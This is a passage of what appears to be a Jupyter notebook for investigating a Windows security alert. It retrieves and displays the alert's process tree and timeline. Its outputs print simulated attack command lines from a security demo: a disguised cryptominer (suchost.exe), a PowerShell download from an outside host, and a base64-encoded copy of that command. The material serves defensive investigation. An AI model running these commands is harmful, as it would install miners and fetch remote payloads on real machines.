    "    related_alerts['CompromisedEntity'] = related_alerts['Computer']\n",
    "    print('Selected alert is available as \\'related_alert\\' variable.')\n",
    "    rel_alert_select = mas.SelectAlert(alerts=related_alerts, action=disp_full_alert)\n",
    "    rel_alert_select.display()\n",
    "else:\n",
    "    display(Markdown('No related alerts found.'))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='processtree'></a>[Contents](#toc)\n",
    "# Get Process Tree\n",
    "If the alert has a process entity this section tries to retrieve the entire process tree to which that process belongs.\n",
    "\n",
    "Notes:\n",
    "- The alert must have a process entity\n",
    "- Only processes started within the query time boundary will be included\n",
    "- Ancestor and descented processes are retrieved to two levels (i.e. the parent and grandparent of the alert process plus any child and grandchild processes).\n",
    "- Sibling processes are the processes that share the same parent as the alert process\n",
    "- This can be a long-running query, especially if a wide time window is used! Caveat Emptor!\n",
    "\n",
    "The source (alert) process is shown in red.\n",
    "\n",
    "What's shown for each process:\n",
    "- Each process line is indented according to its position in the tree hierarchy\n",
    "- Top line fields:\n",
    "  - \\[relationship to source process:lev# - where # is the hops away from the source process\\]\n",
    "  - Process creation date-time (UTC)\n",
    "  - Process Image path\n",
    "  - PID - Process Id\n",
    "  - SubjSess - the session Id of the process spawning the new process\n",
    "  - TargSess - the new session Id if the process is launched in another context/session. If 0/0x0 then the process is launched in the same session as its parent\n",
    "- Second line fields:\n",
    "  - Process command line\n",
    "  - Account - name of the account context in which the process is running"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 42,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "ce8d7a7eaecc44d6801e9d59322a395c",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HTML(value='<h4>Set query time boundaries</h4>')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "266aaa7b55de4016ac22244e2629cc69",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:16',…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "8b3d0b40ff7c494b8a31675e4ea15cae",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(IntRangeSlider(value=(-60, 10), description='Time Range (min):', layout=Layout(width='80%'), mi…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# set the origin time to the time of our alert\n",
    "query_times = mas.QueryTime(units='minute', origin_time=security_alert.origin_time)\n",
    "query_times.display()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 63,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<h3>Alert process tree:</h3>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:40px\">[parent:lev1] 2019-02-13 22:03:42.320000 <b>C:\\Windows\\System32\\cmd.exe</b> [PID: 0x7b20, SubjSess:0x3e7, TargSess:0x1e821b5]<br>(Cmdline: 'cmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 2') [Account: 'MSTICAlertsWin1$']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">[sibling:lev1] 2019-02-13 22:03:42.330000 <b>C:\\Windows\\System32\\conhost.exe</b> [PID: 0x2860, SubjSess:0x1e821b5, TargSess:0x0]<br>(Cmdline: '\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">[sibling:lev1] 2019-02-13 22:03:42.640000 <b>C:\\Windows\\System32\\cmd.exe</b> [PID: 0x4a7c, SubjSess:0x1e821b5, TargSess:0x0]<br>(Cmdline: 'cmd  /c echo Begin Security Demo tasks') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">[sibling:lev1] 2019-02-13 22:03:42.667000 <b>C:\\Windows\\System32\\cmd.exe</b> [PID: 0x573c, SubjSess:0x1e821b5, TargSess:0x0]<br>(Cmdline: 'cmd  /c echo Any questions about the commands executed here then please contact one of') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">[sibling:lev1] 2019-02-13 22:03:42.680000 <b>C:\\Windows\\System32\\cmd.exe</b> [PID: 0x7f20, SubjSess:0x1e821b5, TargSess:0x0]<br>(Cmdline: 'cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">\n",
       "        <span style=\"color:red;font-weight:bold\">[alert:lev0] 2019-02-13 22:03:42.817000 C:\\W!ndows\\System32\\suchost.exe\n",
       "        [PID: 0x70d8, SubjSess:0x1e821b5, TargSess:0x0]</span>\n",
       "        <br>(Cmdline: '.\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">[sibling:lev1] 2019-02-13 22:03:42.843000 <b>C:\\W!ndows\\System32\\powershell.exe</b> [PID: 0x2154, SubjSess:0x1e821b5, TargSess:0x0]<br>(Cmdline: '.\\powershell  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\"') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">[sibling:lev1] 2019-02-13 22:03:42.860000 <b>C:\\W!ndows\\System32\\powershell.exe</b> [PID: 0x61e0, SubjSess:0x1e821b5, TargSess:0x0]<br>(Cmdline: '.\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpIGh0dHA6Ly93aDQwMWsub3JnL2dldHBzIg==') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"margin-left:80px\">[sibling:lev1] 2019-02-13 22:03:42.877000 <b>C:\\Windows\\System32\\cmd.exe</b> [PID: 0x4620, SubjSess:0x1e821b5, TargSess:0x0]<br>(Cmdline: 'cmd  /c echo End Security Demo tasks') [Account: 'MSTICAdmin']</div>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from msticpy.nbtools.query_defns import DataFamily\n",
    "\n",
    "if security_alert.data_family != DataFamily.WindowsSecurity:\n",
    "    raise ValueError('The remainder of this notebook currently only supports Windows. '\n",
    "                     'Linux support is in development but not yet implemented.')\n",
    "\n",
    "def extract_missing_pid(security_alert):\n",
    "    for pid_ext_name in ['Process Id', 'Suspicious Process Id']:\n",
    "        pid = security_alert.ExtendedProperties.get(pid_ext_name, None)\n",
    "        if pid:\n",
    "            return pid\n",
    "\n",
    "def extract_missing_sess_id(security_alert):\n",
    "    sess_id = security_alert.ExtendedProperties.get('Account Session Id', None)\n",
    "    if sess_id:\n",
    "        return sess_id\n",
    "    for session in [e for e in security_alert.entities if\n",
    "                    e['Type'] == 'host-logon-session' or e['Type'] == 'hostlogonsession']:\n",
    "        return session['SessionId']\n",
    "            \n",
    "if (security_alert.primary_process):\n",
    "    # Do some patching up if the process entity doesn't have a PID\n",
    "    pid = security_alert.primary_process.ProcessId\n",
    "    if not pid:\n",
    "        pid = extract_missing_pid(security_alert)\n",
    "        if pid:\n",
    "            security_alert.primary_process.ProcessId = pid\n",
    "        else:\n",
    "            raise ValueError('Could not find the process Id for the alert process.')\n",
    "    \n",
    "    # Do the same if we can't find the account logon ID\n",
    "    if not security_alert.get_logon_id():\n",
    "        sess_id = extract_missing_sess_id(security_alert)\n",
    "        if sess_id and security_alert.primary_account:\n",
    "            security_alert.primary_account.LogonId = sess_id\n",
    "        else:\n",
    "            raise ValueError('Could not find the session Id for the alert process.')\n",
    "    \n",
    "    # run the query\n",
    "    process_tree = qry.get_process_tree(provs=[query_times, security_alert])\n",
    "\n",
    "    if len(process_tree) > 0:\n",
    "        # Print out the text view of the process tree\n",
    "        nbdisp.display_process_tree(process_tree)\n",
    "    else:\n",
    "        display(Markdown('No processes were returned so cannot obtain a process tree.'\n",
    "                     '\\n\\nSkip to [Other Processes](#process_clustering) later in the'\n",
    "                     ' notebook to retrieve all processes'))\n",
    "else:\n",
    "    display(Markdown('This alert has no process entity so cannot obtain a process tree.'\n",
    "                     '\\n\\nSkip to [Other Processes](#process_clustering) later in the'\n",
    "                     ' notebook to retrieve all processes'))\n",
    "    process_tree = None\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='processtimeline'></a>[Contents](#toc)\n",
    "## Process TimeLine\n",
    "This shows each process in the process tree on a timeline view.\n",
    "\n",
    "Labelling of individual process is very performance intensive and often results in nothing being displayed at all! Besides, for large numbers of processes it would likely result in an unreadable mess. \n",
    "\n",
    "Your main tools for negotiating the timeline are the Hover tool (toggled on and off by the speech bubble icon) and the wheel-zoom and pan tools (the former is an icon with an elipse and a magnifying glass, the latter is the crossed-arrows icon). The wheel zoom is particularly useful.\n",
    "\n",
    "As you hover over each process it will display the image name, PID and commandline.\n",
    "\n",
    "Also shown on the graphic is the timestamp line of the source/alert process."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 65,
   "metadata": {
    "scrolled": true
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.pydata.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1353\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1353\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n",
       "    }\n",
       "    finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.info(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(js_urls, callback) {\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = js_urls.length;\n",
       "    for (var i = 0; i < js_urls.length; i++) {\n",
       "      var url = js_urls[i];\n",
       "      var s = document.createElement('script');\n",
       "      s.src = url;\n",
       "      s.async = false;\n",
       "      s.onreadystatechange = s.onload = function() {\n",
       "        root._bokeh_is_loading--;\n",
       "        if (root._bokeh_is_loading === 0) {\n",
       "          console.log(\"Bokeh: all BokehJS libraries loaded\");\n",
       "          run_callbacks()\n",
       "        }\n",
       "      };\n",
       "      s.onerror = function() {\n",
       "        console.warn(\"failed to load library \" + url);\n",
       "      };\n",
       "      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.getElementsByTagName(\"head\")[0].appendChild(s);\n",
       "    }\n",
       "  };var element = document.getElementById(\"1353\");\n",
       "  if (element == null) {\n",
       "    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1353' but no matching script tag was found. \")\n",
       "    return false;\n",
       "  }\n",
       "\n",
       "  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    \n",
       "    function(Bokeh) {\n",
       "      \n",
       "    },\n",
       "    function(Bokeh) {\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if ((root.Bokeh !== undefined) || (force === true)) {\n",
       "      for (var i = 0; i < inline_js.length; i++) {\n",
       "        inline_js[i].call(root, root.Bokeh);\n",
       "      }if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1353\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(js_urls, function() {\n",
       "      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  \n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"1353\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n    }\n    finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.info(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(js_urls, callback) {\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = js_urls.length;\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var s = document.createElement('script');\n      s.src = url;\n      s.async = false;\n      s.onreadystatechange = s.onload = function() {\n        root._bokeh_is_loading--;\n        if (root._bokeh_is_loading === 0) {\n          console.log(\"Bokeh: all BokehJS libraries loaded\");\n          run_callbacks()\n        }\n      };\n      s.onerror = function() {\n        console.warn(\"failed to load library \" + url);\n      };\n      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.getElementsByTagName(\"head\")[0].appendChild(s);\n    }\n  };var element = document.getElementById(\"1353\");\n  if (element == null) {\n    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1353' but no matching script tag was found. \")\n    return false;\n  }\n\n  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    \n    function(Bokeh) {\n      \n    },\n    function(Bokeh) {\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n    }\n  ];\n\n  function run_inline_js() {\n    \n    if ((root.Bokeh !== undefined) || (force === true)) {\n      for (var i = 0; i < inline_js.length; i++) {\n        inline_js[i].call(root, root.Bokeh);\n      }if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"1353\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(js_urls, function() {\n      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));"
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Alert start time =  2019-02-13 22:03:42\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"bbaa8664-0082-4e2c-be1a-8ade90d51c39\" data-root-id=\"1357\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"51e1cdea-0491-413e-bf86-bbd459946186\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"1367\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"1372\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":250,\"plot_width\":900,\"renderers\":[{\"id\":\"1367\",\"type\":\"DatetimeAxis\"},{\"id\":\"1371\",\"type\":\"Grid\"},{\"id\":\"1372\",\"type\":\"LinearAxis\"},{\"id\":\"1376\",\"type\":\"Grid\"},{\"id\":\"1384\",\"type\":\"BoxAnnotation\"},{\"id\":\"1394\",\"type\":\"GlyphRenderer\"},{\"id\":\"1399\",\"type\":\"GlyphRenderer\"},{\"id\":\"1401\",\"type\":\"Label\"}],\"title\":{\"id\":\"1356\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"1381\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"1359\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"1363\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"1361\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"1365\",\"type\":\"LinearScale\"}},\"id\":\"1357\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1421\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1393\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@WrapCmdl\"]]},\"id\":\"1355\",\"type\":\"HoverTool\"},{